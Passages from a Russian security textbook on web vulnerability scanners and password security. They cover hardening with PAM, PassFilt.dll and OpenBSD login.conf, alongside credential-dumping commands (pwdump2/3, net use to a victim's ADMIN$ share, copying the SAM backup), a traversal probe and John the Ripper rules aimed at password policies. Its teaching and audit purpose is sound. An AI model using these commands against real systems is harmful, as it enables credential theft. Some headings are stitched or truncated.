У Web-серверов - Apache, iPlanet и IIS - много версий и добавлений для обеспечения безопасности. Обычно у сканера уязвимости есть сканирующий аппарат и каталог. Каталог содержит список общих файлов, файлов с описанием известных уязвимостей и наиболее распространенных способов взлома набора серверов. Например, сканер уязвимости ищет резервные файлы (переименованные из default.asp в default.asp.bak) и пытается осуществить взлом, обходя дерево директорий (вроде проверки ..%255c..%255c). Сканирующий аппарат поддерживает логику для чтения каталога методов взлома, посылает запрос Web-серверу и интерпретирует ответ для определения возможных уязвимостей сервера. Эти утилиты направлены на уязвимости, которые легко зафиксировать с использованием конфигурирования системы безопасности хоста, использования заплаток для системы безопасности и очистки корневой директории Web-сервера.



Создание новых правил


Конструирование правил для Stealth весьма просто. Вы задаете URL, метод запроса и ожидаемый HTTP-код возврата. Например, для поиска резервной копии index.html файла вам следует создать файл со следующим содержимым.

#INF Backup index.html file #GET /index.html.bak #200

Вместо метода #GET также может быть #HEAD или #POST. Код возврата #200 может быть заменен любым кодом возврата HTTP. Stealth не поддерживает пользовательские массивы, поэтому файлы внутри набора директорий должны быть перечислены отдельно. Параметры #GET и #200 подразумеваются по умолчанию и потому могут быть опущены. Как видно, базовый тест Stealth для URL не так развит как у whisker. У Stealth есть средство для упрощения разработки тестов на уязвимость - Stealth Exploit Development Tool.

Exploit Development Tool - это утилита с оконным интерфейсом, облегчающая заполнение всех возможных полей, которые могут быть созданы для определения метода тестирования. На рис. 8.4 показаны настройки для нашего простого теста для файла index.html.bak.


Рис. 8.4.  Настройка теста уязвимости

На закладке Options вы можете задать строку, которая будет показывать возврат ложного ответа или определять User-Agent. Некоторые Web-приложения используют заголовок User-Agent, чтобы принять решение о том, может ли броузер получить доступ к сайту. Некоторые броузеры не поддерживают JavaScript, ActiveX или Java, и это может послужить отказом в доступе к сайту. На рис. 8.5 показан этот параметр.


Рис. 8.5.  Параметры для теста уязвимости

Другой классный прием, используемый в Stealth - это тест на переполнение буфера. Атака на переполнение буфера может быть применена против любого адреса, по которому Web-приложение требует списка параметров. Правило для проверки на переполнение буфера содержит четыре составляющих.

bofgen. URL, введенный в двойных кавычках.bofstr. Строка, используемая для атаки.bytes. Количество повторений символа, используемого для переполнения буфера.chars. Символ для заполнения буфера.


Ниже приведено правило для проверки условий переполнения буфера в строке авторизации ввода Web-приложения.

#INF Login.asp buffer overflow check "bofgen=/login.asp?user=%bofstr&passwd=none","bytes=999","chars=A"

В HTTP-запросе, который посылает Stealth, строка %bofstr меняется на 999 символов A.

Как только описание метода взлома создано, вам остается указать Stealth применить его. Если вы поместите файл в директорию Db, Stealth найдет его и будет использовать. Чтобы проверить созданные правила вручную или для создания нового правила щелкните на кнопке Database в окне приложения Stealth и выберите закладку Stealth User's Exploits. Пометьте соответствующий метод для его активации. На рис. 8.6 показан пример теста, называемого Sourcedis, который обычно не используется.


Рис. 8.6.  Добавление новых тестов


Stealth


Эта программа работает под Windows с графическим интерфейсом пользователя, и поэтому не обладает, в отличие от whisker возможностями кросс-платформенного использования. Stealth располагает большим количеством тестов и имеет легко расширяемую базу данных. В настоящее время в базе данных программы находится около 13000 тестов, правда, только 5000 из них являются уникальными. Эти тесты были получены в результате сканирования большого количества устройств, имеющих встроенные Web-серверы, обладающих наиболее распространенными типами уязвимостей, свойственных IIS.



Stunnel


OpenSSL - великолепное средство для осуществления одностороннего SSL-взаимодействия. К сожалению, вы можете работать в ситуации, когда клиент посылает HTTPS-соединение и не может перейти к HTTP. В этом случае, вам необходимо средство, которое может расшифровывать SSL или находиться между клиентом и сервером и отслеживать трафик. Stunnel обеспечивает эти возможности.

Вы можете также использовать Stunnel, чтобы обернуть SSL поверх любого сетевого сервиса. Например, вы можете настроить stunnel для управления соединениями (Internet Message Access Protocol) для обеспечения шифрованного доступа к электронной почте (вам также может понадобиться stunnel для управления клиентом).



Twwwscan/Arirang


Twwwscan и arirang - близнецы. Twwwscan - Windows-сканер, с полностью графическим интерфейсом. Arirang построен на основе прототипа из Berkeley Software Distribution (BSD) и использует такое же, как twwwscan, рабочее ядро, тот же формат базы данных.



WebSleuth


WebSleuth помещает функциональность прокси непосредственно в броузер. Программа представляет собой набор процедур на Visual Basic, работающих вокруг Internet Explorer. Очевидно, что это привязывает вас к платформе WIN32, но утилита стоит того. Она позволяет провести пошаговый просмотр сайта, одновременно проверяя переменные cookies и HTML-код, делая по пути некоторые заметки.



Wget


Последняя программа, которую мы рассмотрим, похожа на предыдущие. Wget - утилита командной строки, которая в основном копирует содержимое Web-сайтов. Она запускается для стартовой страницы и затем, в соответствии со ссылками, исследует каждую страницу Web-сайта. Когда кто-либо проводит аудит безопасности Web-приложения, одним из первых шагов является перемещение между разными страницами приложения. Для спаммеров целью может быть поиск адресов электронной почты. Другие ищут комментарии в программах, которые могут содержать пароли, выражения SQL, или другие интересные штучки. И, наконец, локальная копия содержимого Web-приложения дает возможность быстрого поиска такой информации в больших сайтах.

С точки зрения администраторов, у Wget может быть и другое применение. Например, создание зеркал для сайтов с высоким трафиком. Администраторы зеркал многих Web-сайтов (таких как www.samba.org и www.kernel.org) используют wget или аналогичные утилиты для воспроизведения содержимого мастер-сервера на альтернативных серверах. Они делают это с целью сокращения загрузки и разнесения Web-сайтов по разным географическим регионам.



Whisker


Whisker - не самый древний из сканеров уязвимости CGI-интерфейса (common gateway interface). Тем не менее, эта программа была первым средством для совместного использования приемов проверки общей уязвимости, интеллектуального сканирования, которое реагирует на ответные HTTP-коды, и уклонения от систем обнаружения вторжений (IDS). Преимущества этой программы в том, что она написана в виде простых (правда, не всегда понятных) Perl-скриптов. При необходимости это позволяет отредактировать программу в простом текстовом редакторе для изменения имен пользователей, паролей и уязвимых CGI-скриптов.



Аргументы библиотеки Cracklib


На самом деле, Cracklib поддерживает больше аргументов, чем просто retry=N. Аргумент retry всего лишь указывает программе passwd, сколько раз запрашивать у пользователя новый пароль. Успешное или неудачное завершение работы службы, которая требует модуля pam_cracklib.so, опирается на очки, заработанные пользователем. Пользователь может зарабатывать очки на основании содержания пароля. Аргументы модуля определяют количество очков зарабатываемых конкретной компонентой нового пароля.

minlen=N. По умолчанию - 9. Минимальная длина, синоним количества очков, которые должны быть заработаны. Одно очко на единицу длины. Реальная длина нового пароля не может быть меньше 6. dcredit=N. По умолчанию - 1. Максимальное количество очков для включения цифр (0-9). Одно очко на цифру.lcredit=N. По умолчанию - 1. Максимальное количество очков для включения строчных букв. Одно очко на символ.ucredit=N. По умолчанию - 1. Максимальное количество очков для включения прописных букв. Одно очко на символ.ocredit=N. По умолчанию - 1. Максимальное количество очков для включения символов, которые не являются ни цифрами, ни буквами. Одно очко на символ.

Пять следующих аргументов напрямую не влияют на набранное количество очков.

debug. Запись отладочной информации на основе настроек системного журнала syslog.difok=N. По умолчанию - 10. Число новых символов, которые не должны быть взяты из предыдущего пароля. Если не входит около 50 процентов символов, этот параметр игнорируется.retry=N. По умолчанию - 1. Количество попыток, разрешенных пользователю для ввода нового пароля, если предыдущий пароль меньше чем minlen.type=text. Текст, которым заменяется слово Unix в подсказках: "New UNIX password" и "Retype UNIX password".use_authtok. Используется для создания очереди модулей в службе. Если этот параметр присутствует, текущий модуль будет использовать на входе результаты работы того, который описан в конфигурационном файле ранее, до того, как будет выдан запрос пользователю.
Этот параметр необходим в том случае, если модуль cracklib располагается не первым в очереди.

Аргументы размещаются в последней колонке строки и разделяются пробелом. Например, наш администратор хочет, чтобы пользователи задавали для себя пароль из 15 символов, но при создании пароля давалось бы по два дополнительных очка за использование цифр и за использование "других" символов. В этом случае файл /etc/pam.d/passwd должен содержать следующие строки (символ \ обозначает продолжение на следующую строку).

password required /lib/security/pam_cracklib.so \ minlen=15 dcredit=2 ocredit=2 password required /lib/security/pam_unix.so nullok use_authtok md5

Обратите внимание, что администратор добавил аргумент md5 для библиотеки pam_unix.so. Это дает возможность шифровать пароль с использованием алгоритма MD5. Шифрование пароля с использованием алгоритма DES (Data Encryption Standard), используемое по умолчанию, не поддерживает шифрование пароля длиной более 8 символов. В соответствии с лимитом очков, будет весьма сложно набрать 15 очков, используя пароль, состоящий из 8 символов! Шифрование пароля с использованием алгоритма MD5 более эффективно за счет отсутствия ограничения по длине.

Теперь посмотрим некоторые правильные и неправильные пароли, проверенные с использованием нового файла /etc/pam.d/passwd, и соответствующие им количество очков. Помните, что параметры lcredit и ucredit по умолчанию равны 1:

Password 9 очков (длина 8 + 1 строчная буква). passw0rd! 12 очков (длина 9 + 1 строчная буква + 1 цифра + 1 другой символ). Passw0rd! 13 очков (длина 9 + 1 прописная буква + 1 строчная буква + 1 цифра + 1 другой символ). Pa$$w00rd 15 очков (длина 9 + 1 прописная буква + 1 строчная буква + 2 цифры + 2 других символа).

Как видно, большое значение minlen может потребовать использования достаточно сложных паролей. Двенадцать очков, по-видимому, самое маленькое число, которое можно позволить для использования в своей системе, значение пятнадцать подходит к верхнему пределу.Однако вам придется записывать свой пароль рядом с компьютером, чтобы запомнить его. (Шутка.)


John the Ripper


John the Ripper (http://www.openwall.com/john), возможно, самый быстрый и наиболее универсальный из доступных инструментов, предназначенных для взлома паролей. Программа поддерживает шесть разных схем хеширования паролей, которые покрывают различные варианты схем хеширования паролей для Unix и Windows LanMan (используемый в NT, 2000 и XP). Он может использовать специализированный список слов или правил для паролей, основанных на типах символов и их местоположении. Программа работает под управлением 13 различных операционных систем и поддерживает разные процессоры, включая специальные ускорители для Pentium и RISC-процессоров.



L0phtCrack


Сначала система Windows казалась более привлекательной с точки зрения безопасности паролей, чем Unix. Большинство Unix-систем никогда не создают пароли более восьми символов.

Windows NT допускает длину пароля до 14 символов, это почти удвоение длины! Mudge и Weld Pond от L0pht Heavy Industries занимаются усовершенствованием схемы шифрования LanMan. Компания последовательно выпускала средства, которые пользовались преимуществом неадекватности схемы шифрования паролей.

Мы уже кратко упоминали в этой лекции о системе шифрования LanMan. Мы знаем, что это система хранения шифрованных паролей, схожая с форматами Unix-файлов /etc/passwd или /etc/shadow. Что можно понять, внимательно изучая, как генерируется и хранится в LanMan шифрованная строка? Система Windows хранит две версии пользовательского пароля. Первая версия называется LanMan, или LM, хэш. Вторая версия - NT-хэш, который шифруется с использованием алгоритма MD5. Это односторонняя функция. Пароль шифруется, но никогда не расшифровывается. Строка LanMan также шифруется с помощью однопроходной функции, но в этом случае пароль разбивается на две части перед тем, как шифроваться с использованием алгоритма DES.

Посмотрим на содержимое трех строк паролей в LanMan. Они представлены в шестнадцатеричной записи и содержат 16 байт данных.

898f30164a203ca0 14cc8d7feb12c1db 898f30164a203ca0 aad3b435b51404ee 14cc8d7feb12c1db aad3b435b51404ee

Не надо быть семи пядей во лбу, чтобы заметить некоторые совпадения в этих трех примерах. Последние 8 байт второго и третьего примера одинаковые: aad3b435b51404ee. Эти значения одинаковы для всех паролей длиной более восьми символов. Эта криптографическая ошибка возникает по двум причинам: вследствие того, что содержимое пароля составляет более восьми символов и показывает, что при генерации второй половины шифрованной строки не используется никакой информации о первой половине. Обратите внимание, что вторая половина первого примера (14cc8d7feb12c1db) содержит первую часть третьего примера. Это, скорее, говорит о том, что пароль шифровался на основе двух независимых наборов символов (по семь каждый), чем о том, что вторая половина зависит от содержания первой части пароля.

В результате это превращает большой пароль из 14 символов в два коротких пароля по 7 символов. И в довершение всего, LanMan при шифровании игнорирует регистр символов, что резко сокращает время, затрачиваемое на взлом пароля перебором.



Login.conf для OpenBSD


OpenBSD, включающая в себя параноидальные ограничения на использование алгоритма DES, содержит этот алгоритм только для обеспечения совместимости с другими Unix-системами. Системные администраторы могут выбирать между многократным DES-, MD5- и Blowfish-алгоритмами шифрования. Мы уже упоминали о преимуществах использования MD5 произвольной длины. Алгоритм Blowfish, разработанный Брюсом Шнейером, также позволяет использовать пароли произвольной длины. Этот алгоритм также может похвастаться тем, что он относительно медленный. Возможно, звучит странно, но мы еще поговорим об этом.



Локальная политика безопасности в Windows 2000 и Windows XP


Наследники NT перенесли настройки PassFilt.dll из системного реестра в графический интерфейс пользователя. Они не добавили дополнительных правил или методов модификации имеющихся правил. Чтобы включить принудительные процедуры создания сложных паролей, войдите в раздел Local Security Policy, в Administrative Tools на панели управления. Окно Local Security Settings показано на рисунке 9.1.


увеличить изображение
Рис. 9.1.  Усложнение пароля



делает процесс сбора паролей тривиальным.


Программа Lsadump2 (razor.bindview.com/tools/desc/lsadump2_readme.html) делает процесс сбора паролей тривиальным. Это еще одна утилита от Тода Сабина, который обновил созданную Паулем Аштоном программу. Различия между Lsadump2 и pwdump в том, что Lsadump2 выводит действительные текстовые пароли, а не шифрованные строки. Понятно, что это предпочтительнее, пока вы не можете запустить какую либо утилиту взлома паролей. К сожалению, Lsadump2 извлекает пароли, только если они были сохранены в памяти с использованием Local Security Authority (LSA). Такое случается, когда Web-приложение соединяется с SQL-базой данных, или когда утилита резервирования соединяется удаленно с машиной для архивирования файлов.


Nbaudit (nat)


Программа Nbaudit по сравнению с SMBGrind позволяет пользователю сканировать интервал IP-адресов. Это прием чаще применяется для поиска опасных уязвимостей, таких как профиль администратора с пустым паролем.



PAM и политика создания паролей в Unix


Некоторые популярные Unix-системы, такие как FreeBSD, Linux и Solaris, содержат встраиваемую модель аутентификации (PAM). PAM управляет любыми действиями пользователя, которые требуют от него пароля. Это может быть доступ по telnet, вход в консоль или изменение пароля. Реализация PAM также доступна для схем строгой аутентификации, таких как Kerberos, S/Key и RADIUS. Конфигурация PAM остается одной и той же, независимо от метода или приложения, которое осуществляет аутентификацию. Сосредоточимся на том, как усилить политику доступа по паролям с использованием PAM.



PassFilt.dll и политика паролей в Windows


Система Windows NT 4.0 заставляет своих пользователей подбирать псевдосложные пароли. Библиотека PassFilt.dll, которая поставляется с Service Pack 2, дает возможность администратору создавать элементарные правила для пользовательских паролей. Применение правил конструирования паролей обычно является достаточно удачным средством обеспечения безопасности. В конце концов, вы можете применить самые свежие заплатки к системам безопасности и задать самые строгие ограничения в конфигурации сервера, но недостаточно сложный пароль может свести на нет все ваши усилия.



Pwdump


Утилита Pwdump2 (www.webspan.net/~tas/pwdump2/), созданная Тодом Сабином, может быть использована для извлечения шифрованных паролей в системе Windows. Это утилита командной строки, которая должна запускаться локально на исследуемой системе; однако позднее в этом разделе мы познакомимся с утилитой pwdump3, которая может выполняться удаленно.

Пример из жизни. Взлом системы с помощью L0phtCrack

Вирус-сканер может идентифицировать L0phtCrack. Так происходит потому, что это одновременно полезное средство проверки для системных администраторов, но в то же время является спорным то, что это равноценно полезное средство для злонамеренных пользователей, которые инсталлируют его без разрешения. Вы можете найти файлы с расширением .lc, что является хорошим признаком того, что здесь присутствовал L0phtCrack. Если это средство действительно было инсталлировано в системе, а не запускалось с гибкого диска, то вы можете произвести поиск в реестре на наличие l0pht. Давайте проведем несколько поисков так, как это сделает системный администратор после обнаружения, что автоматизированное рабочее место временного сотрудника получает доступ к части ADMIN$ сети PDC.

Мы не обратим внимание на такие шаги, как захват (блокировка) данных и выяснение того, какие команды запускались. Вместо этого мы будем беспокоиться о паролях. У нас 600 сотрудников. Мы уже решили считать каждый пароль подвергшимся риску, но если мы будем искать прямое свидетельство того, что внутренний пользователь взламывал пароли, то нам придется найти некоторые ключевые данные. Наиболее очевидной уликой, которая показывает, что L0phtCrack был инсталлирован в системе, является его собственный реестровый ключ.

HKLM\SYSTEM\Software\L0pht Heavy Industries\L0phtcrack 2.5

К сожалению, этого ключа в системе нет. Но есть другие индикаторы того, что L0phtCrack был инсталлирован. Один из ключей относится к драйверу пакета сбора данных, он используется для розыска в путанице LanMan.

HKLM\SYSTEM\CurrentControlSet\Service\NDIS3Pkt


Этот ключ могут устанавливать другие программы, но корректное значение, которое устанавливают эти программы, будет следующим (обратите внимание на этот регистр):

HKLM\SYSTEM\CurrentControlSet\Service\Ndis3pkt

Если этот ключ NDIS3Pkt присутствует, то мы можем начать подозревать, что L0phtCrack был инсталлирован. Коварный сотрудник мог попытаться удалить свидетельства присутствия этого средства, даже путем дефрагментации жесткого диска и записи на исходное место на диске, чтобы предотвратить нахождение удаленных данных на жестком диске специальными средствами. Однако существует другая запись, которая хранится системой Windows для информации о деинсталляции L0phtCrack. Даже если L0phtCrack был деинсталлирован, то остается следующий ключ регистра.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\L0phtcrack 2.5

Если системный администратор находит это в реестре, то можно быть на 100% уверенным, что L0phtCrack когда-то был инсталлирован в системе. Затем администратор может поискать "недавно использовавшиеся" (MRU) значения в регистре файлов с расширением .lc. Даже если пользователь удалил "sam_pdc.lc" из файловой системы, то ссылки на него по-прежнему могут присутствовать в регистре!


разработанная Филом Стаубсом, отличается от


Утилита Pwdump3 (www.ebiz-tech.com/pwdump3/), разработанная Филом Стаубсом, отличается от pwdump возможностью удаленного доступа к подозрительной машине. Существует четная версия pwdump3e, которая шифрует удаленное соединение для предотвращения доступа недобросовестных пользователей с целью перехвата паролей. Использование утилиты мало чем отличается от других.

Usage: PWDUMP3 machineName [outputFile] [userName] C:\>PwDump3.exe victim pwdump.out root C:\>type pwdump.out guest:1001:NO PASSWORD*********************:2DEAC3223C70B24E90F02... wwwadmin:500:NO PASSWORD*********************:9CBD10B05F8E69B62F2... IUSR_WWW01:1003:6E72211CDC51C9F8EB9293C3135F3985:0E2A2DCE3B6ABFBA...

Чтобы pwdump3 работала корректно, вам необходимо установить доступ к общему ресурсу ADMIN$. Утилита устанавливает такое соединение и запрашивает пароль администратора. В противном случае, вы можете установить соединение вручную с использованием команды net.

C:\>net use \\victim\admin$ * /u:Administrator Type the password for \\localhost\admin$: The command completed successfully.


Работает ли это на моей системе?


Самым серьезным показателем того, что John the Ripper работает на вашем компьютере, может быть значение загрузки центрального процессора. Вы можете просмотреть список активных процессов (команда ps), но вы не обрадуетесь, увидев в списке эту программу. Если вы попытаетесь переименовать исполняемый модуль, к примеру "inetd " (обратите внимание на пробел после d), то программа не будет работать, если не сделать несколько изменений в исходном коде.

Пример из жизни. Атака на политику паролей

Правила, которые вы можете определить в файле john.conf - это достаточно долгий путь к настройке словаря. Мы уже упоминали о простом правиле добавления числа в начало каждой строки.

# Prepend digits (adds 10 more passes through the wordlist) ^[0123456789]

Но что с другими сценариями? Что, если мы заметим тенденцию в схеме изменения паролей для конкретной системы в сети под управлением Unix? Например, что, если мы хотим создать список слов, в который входят все комбинации слова bank, написанного строчными и прописными буквами? Соответствующее правило в файле john.conf будет выглядеть примерно так.

# Permutation of "ban" (total of 8 passes) i[0][bB]i[1][aA]i[2][nN]

Заметьте, что мы всего лишь поместили первые три буквы в правило. Это сделано потому, что john требуется список слов, чтобы им оперировать. Список слов, называемый password.lst, содержит три последних буквы.

k K

Теперь если вы запустите john с новым правилом с использованием короткого файла password.lst, вы увидите нечто похожее на это.

$ ./john.exe -wordfile:password.lst -rules -stdout bank bank bank bank bAnk bAnK bANk bANK Bank BanK BaNk BaNK Bank BAnK BANk BANK words: 16 time: 0:00:00:00 100% w/s: 47.05 current: BANK

Ниже представлено еще одно правило, которое может атаковать политику поддержания паролей, требующую наличия специальных символов в третьей позиции и числа в последней позиции.

# Strict policy (adds 160 more passes through the word list) i[2]['~!@#$%^&*()-_=+]$[0123456789]

Это сокращенный пример вывода манипуляции со словом password:

$ ./john.exe -wordfile:password.lst -rules -stdout pa'ssword0 pa'ssword1 pa'ssword2 ... pa~ssword7 pa~ssword8 pa~ssword9 pa!ssword0 pa!ssword1 pa!ssword2 ...

Вы можете увидеть, что вполне возможно создать правила для быстрого взлома правил создания сетевых паролей.



Реализация


PassFilt.dll уже может быть в поставке системы NT, но для нее требуется произвести некоторые модификации в системном реестре.

Убедитесь, что PassFilt.dll размещается в директории C:\WINNT\ System32 (или куда указывает переменная %SYSTEMROOT%).Воспользуйтесь редактором реестра (в данном случае regedt32.exe работает лучше, чем regedit.exe), чтобы открыть ключ HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Control\Lsa.В правой панели выберите ключ Notification Packages.Выберите Edit/Multi String.Если значение уже установлено в FPNWCLNT, удалите его, если нет необходимости обеспечивать совместимость с Novell.Введите значение passfilt.Примечание. Помните, что если вы используете PassFilt.dll на первичном контроллере домена, вы должны использовать его и на резервном контроллере.

Если все идет нормально, последовательность изменения пароля для любого пользователя, кроме администратора, будет определяться специальными правилами. Ограничения, накладываемые использованием PassFilt.dll - только маленький шажок к хорошим паролям. Итак, Windows проверяет каждый новый пароль на простоту, используя следующие правила.

Пароль не должен содержать часть имени пользователя.Пароль должен содержать минимум шесть символов.Пароль должен содержать символы следующих четырех видов: английские прописные (от A до Z);английские строчные (от a до z);цифры (0 through 9);нечисловые символы (символы пунктуации, комбинации с клавишей shift и т.д.).

Эти правила не могут быть изменены. Технически библиотека DLL может быть заменена на другую, созданную с использованием интерфейса программирования приложений от Microsoft (password application programming interface, API), но схема шифрования NT порождает достаточно устойчивые пароли. Тем не менее, не следует считать PassFilt.dll панацеей. Пользователь по-прежнему может воспользоваться простым паролем, который легко подсмотреть или подобрать. Ниже приведены примеры слабых паролей, полностью удовлетворяющих ограничениям PassFilt.dll.

Passw0rdPassword!p4ssw0rd!Pa55werd

Что происходит на самом деле. Пользователи любят заменять числа гласными (a это 4, e - 3, i - 1, o - 0) и добавлять восклицательный знак в свой пароль, чтобы удовлетворить ограничениям по созданию "хорошего" пароля. Словарь хороших паролей, которым владеет большинство взломщиков паролей, содержит различные перестановки обычных слов, которые содержат буквы и символы. И, наконец, пароли, которые основаны на именах спортивных команд, названиях городов, ругательствах и именах всегда относятся к множеству наиболее слабых паролей, поскольку пользователи предпочитают пароли, которые легко запомнить. Следовательно, вам захочется сфокусироваться на усилиях по защите списка паролей и защите служб (таких как электронная почта, система безопасности, Windows NetBIOS), которые опираются на пароли.


OpenBSD не использует PAM-архитектуру, но она также обладает качественной системой управления паролем. Файл /etc/login.conf содержит директивы для алгоритмов шифрования и управления, которым должен следовать пользователь системы. Строки в файле login.conf содержат больше инструкций по требованиям к пользователю, чем к политике управления паролями. Рассматриваемые здесь параметры должны добавляться к уже существующим. Первое значение каждой строки соответствует типу класса авторизации, заданному для пользователя. Имеется также специальная строка "default" для пользователей, у которых не задан класс авторизации.

Чтобы определить класс авторизации пользователя, или задать этот класс, откройте файл /etc/master.passwd с помощью утилиты vipw. Класс авторизации - пятый параметр в строке описания пользовательского пароля. Ниже приведен пример, где классы отображаются жирным шрифтом.

root:$2a$06$T22wQ2dH...:0:0:daemon:0:0:Fede:/root:/bin/csh bisk:$2a$06$T22wQ2dH...:0:0:staff:0:0::/home/bisk:/bin/csh

Некоторые строки в файле login.conf могут содержать следующее. (Символ \ обозначает переход на следующую строку).

default :\ :path=/usr/bin:\ :umask=027:\ :localcipher=blowfish,6 staff:\ :path=/usr/sbin:\ :umask=077:\ :localcipher=blowfish,8 daemon:\ :path=/usr/sbin:\ :umask=077:\ :localcipher=blowfish,8

Здесь помещены инструкции для системы: использовать алгоритм Blowfish для всех пользователей. Цифры 6 и 8 обозначают число циклов для работы алгоритма. Это замедляет работу алгоритма, поскольку требуется больше времени для шифрования пароля. Если пароль требует больше времени для шифрования, то соответственно потребуется и больше времени для его подбора. К примеру, понадобится значительно больше времени, чтобы перебрать словарь из 100000 слов, если вы используете 32 цикла (localcipher=blowfish,32), чем при использовании шести циклов.

Наиболее важными в файле login.conf являются строки: default, поскольку она используется для всех пользователей, и daemon - для пользователя root.




Во-первых, необходимо получить и скомпилировать программу. Последняя версия программы john-1.6.31-dev. Но вам понадобится загрузить и john-1.6.31-dev.tar.gz и john-1.6.tar.gz (или .zip-эквивалент для Windows). Версия 1.6.31-dev содержит не всю документацию и дополнительные файлы, которые есть в версии 1.6. После распаковки john-1.6.31-dev в выбранной директории, вам понадобится перейти в директорию /src.

[root@hedwig]# tar zxvf john-1.6.31-dev.tar.gz [root@hedwig]# tar zxvf john-1.6.tar.gz [root@hedwig]# cd john-1.6.31-dev [root@hedwig john-1.6.31-dev]# cd src

Следующая команда проста: make <OS name>. Например, для сборки программы под управлением Cygwin вам понадобиться набрать make win32-cygwin-x86-mmx. Для пользователей BSD, make freebsd-x86-mmx-elf. Просто наберите make без аргументов, чтобы посмотреть список поддерживаемых операционных систем и комбинаций процессоров.

[root@hedwig src]# make win32-cygwin-x86-mmx

Затем программа самостоятельно осуществит сборку версии для вашей платформы. Когда процесс закончится, исполняемые файлы и файлы конфигурации будут размещены в директории john-1.6.31-dev/run. Версия разработчика не содержит некоторые необходимые файлы. Вам понадобится распаковать эти файлы из архива john-1.6.tar.gz и поместить их в директорию /run.

[root@hedwig]# cd john-1.6.31-dev/run [root@hedwig run]# cp ../../john-1.6/run/all.chr . [root@hedwig run]# cp ../../john-1.6/run/alpha.chr . [root@hedwig run]# cp ../../john-1.6/run/digits.chr . [root@hedwig run]# cp ../../john-1.6/run/lanman.chr . [root@hedwig run]# cp ../../john-1.6/run/password.lst .

Если все прошло нормально, вы можете протестировать программу. Для остальных команд вам следует учитывать, что текущей директорией является john-1.6.31-dev/run. Во-первых, убедитесь, что программа работает, показывая базовую скорость работы для вашей системы.

[root@hedwig run]# ./john -test Benchmarking: Traditional DES [64/64 BS MMX]... DONE Many salts: 323175 c/s Only one salt: 279202 c/s

Benchmarking: BSDI DES (x725) [64/64 BS MMX]... DONE Many salts: 10950 c/s Only one salt: 10770 c/s

Benchmarking: FreeBSD MD5 [32/32]... DONE Raw: 2437 c/s

Benchmarking: OpenBSD Blowfish (x32) [32/32]... DONE Raw: 169 c/s

Benchmarking: Kerberos AFS DES [48/64 4K MMX]... DONE Short: 118816 c/s Long: 305669 c/s

Benchmarking: NT LM DES [64/64 BS MMX]... DONE Raw: 487689 c/s

Достойны внимания два теста: FreeBSD MD5 и NT LM DES. Количество взломов в секунду (c/s) отличается для этих двух методов в 200 раз. Это означает, что на полную атаку перебором для FreeBSD потребуется в 200 раз больше усилий, чем на аналогичную работу для Windows NT! Алгоритм OpenBSD Blowfish еще более трудоемок для взлома. Это говорит о том, насколько более устойчивым может быть алгоритм шифрования по сравнению с другими типами алгоритмов. Вместо того чтобы говорить, что один алгоритм безопасней другого, правильнее будет сказать, что алгоритм Blowfish более устойчив к атаке перебором.




L0phtCrack - инструмент для взлома паролей с развитым графическим интерфейсом для среды Windows NT и ее наследников Windows 2000 и XP. Попытка стащить пароль у Unix-системы обычно требует доступа к файлам /etc/passwd и /etc/shadow. И тот и другой представляют собой легко читаемый текст. Windows хранит пароли в Security Accounts Manager (SAM) - двоичном файле, который тяжело прочитать без специальных ухищрений. L0phtCrack не только подбирает пароли: он может извлекать шифрованные строки паролей из SAM-файла, локальной или удаленной системы и перехватывать пароли, когда они передаются по сети.

SAM-файл располагается в директории \WINNT\system32\config\. Если вы попытаетесь скопировать или открыть этот файл, получите сообщение об ошибке.

C:\WINNT\system32\configcopy SAM c:\temp The process cannot access the file because it is being used by another process. 0 file(s) copied.

Не теряйтесь. Windows, к счастью, хранит резервную копию SAM файла в директории \WINNT\ repair\ или \WINNT\repair\RegBack\.

L0phtCrack может извлечь пароли локального или удаленного компьютера с помощью функции Dump Passwords From Registry.


увеличить изображение

Удаленное извлечение пароля требует доступа к общему ресурсу ADMIN$. Для этого необходим доступ к порту 39 NetBIOS TCP. L0phtCrack может создать для вас сессию, или вы можете сделать это вручную.

C:\>net use \\victim\admin$ * /u:Administrator Type the password for \\localhost\admin$: The command completed successfully.

Программа также может перехватить строку пароля из сети. Каждый раз, когда прослушиваемый компьютер посылает команду net use, можно извлечь строку аутентификации. Вы должны находиться в локальной сети и иметь возможность просматривать трафик, чтобы можно было ограничивать использование программы.

Скорость взлома пароля у L0phtCrack удовлетворительная, но не сравнится с последней версией john. При этом программа не предлагает возможностей гибкого изменения правил. Программа лишь допускает настройку списка символов из меню Options.




Программа должна запускаться локально. Это вторая версия утилиты, первоначально разработанной Джереми Алисоном в проекте Samba. В отличие от первой версии, для pwdump2 шифрование базы данных SAM с использованием SysKey не является препятствием. Шифрование SysKey было добавлено в Windows NT с целью увеличить безопасность базы данных SAM, но эффективность этого шага спорна, как мы убедимся с помощью pwdump2. Применение pwdump2 показано ниже.

C:\>pwdump2.exe /?

Pwdump2 - dump the SAM database. Usage: pwdump2.exe <pid of lsass.exe>

Для получения паролей утилита должна запускаться с полномочиями администратора.

C:\>pwdump2.exe Administrator:500:f1e5c5efbc8cfb7f18136fb05f77a0bf:55c77b761ffa46... Orc:501:cbc501a4d2227783cbc501a4d2227783:f523558e22c95c62a6d6d00c... skycladgirl:1013:aa5536a42ebe131baad3b235b51404ee:db31a1ee00bfbee...

Обычно у вас не было необходимости выяснять идентификатор ID (PID) для программы lsass.exe. Однако вы можете использовать один простой путь, чтобы найти его с помощью команд tlist или pulist и команды find (параметр /i указывает команде find игнорировать регистр).

C:\>tlist/find /i "lsass" 244 LSASS.EXE

C:\>pulist/find /i "lsass" LSASS.EXE 244 NT AUTHORITY\SYSTEM

C:\>pwdump2.exe 244 Administrator:500:f1e5c5efbc8cfb7f18136fb05f77a0bf:55c77b761ffa46... Orc:501:cbc501a4d2227783cbc501a4d2227783:f523558e22c95c62a6d6d00c... skycladgirl:1013:aa5536a42ebe131baad3b235b51404ee:db31a1ee00bfbee...

Данные, полученные утилитой pwdump2 нельзя напрямую использовать в L0phtCrack, поскольку он не может их читать. Причина в том, что алфавитные символы в шифрованной строке представлены в нижнем регистре; L0phtCrack читает на входе символы верхнего регистра. У John the Ripper нет таких проблем. К счастью, утилита tr (translate characters) может помочь тем, кто хочет использовать утилиту с графическим интерфейсом. Эта утилита работает как под Unix, так и под Cygwin, и была приспособлена под Windows, как часть набора утилит Resource Kit.

